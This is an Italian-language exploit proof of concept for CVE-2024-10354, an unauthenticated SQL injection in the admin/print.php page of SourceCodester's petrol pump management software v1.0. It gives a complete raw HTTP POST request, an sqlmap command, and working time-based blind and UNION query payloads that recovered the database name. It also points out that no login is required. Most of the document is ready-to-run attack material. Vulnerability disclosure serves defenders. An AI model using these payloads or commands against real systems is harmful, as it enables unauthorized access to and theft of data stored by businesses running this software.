
Exploit proof-of-concept per CVE-2024-10354: SQL injection nel software di gestione pompe di benzina SourceCodester v1.0. Dimostra l'iniezione SQL basata sul tempo e UNION query non autenticata tramite admin/print.php per estrarre il contenuto del database.
Petrol pump management software free download | SourceCodester
Vulnerabilità di SQL injection nel software di gestione delle pompe di benzina sourcecodester v1.0. È stata riscontrata una vulnerabilità classificata ad alto rischio che interessa una funzionalità sconosciuta del file admin\print.php. Utilizzando il parametro id per costruire istruzioni SQL dannose al fine di ottenere informazioni sensibili, causando così danni.
admin\print.php

Qui, l'input utente $_POST['id'] viene concatenato nell'istruzione della query SQL, che è chiaramente suscettibile ad attacchi di SQL injection

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Salvare il pacchetto e utilizzare sqlmap per l'attacco
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Osservando il pacchetto, non ho aggiunto alcun valore di cookie, il che indica che non è richiesta alcuna autenticazione: non è necessario effettuare il login per lanciare attacchi da remoto
Si può notare che questo payload utilizza due metodi di injection, time-based blind e UNION query, e recupera con successo il nome del database.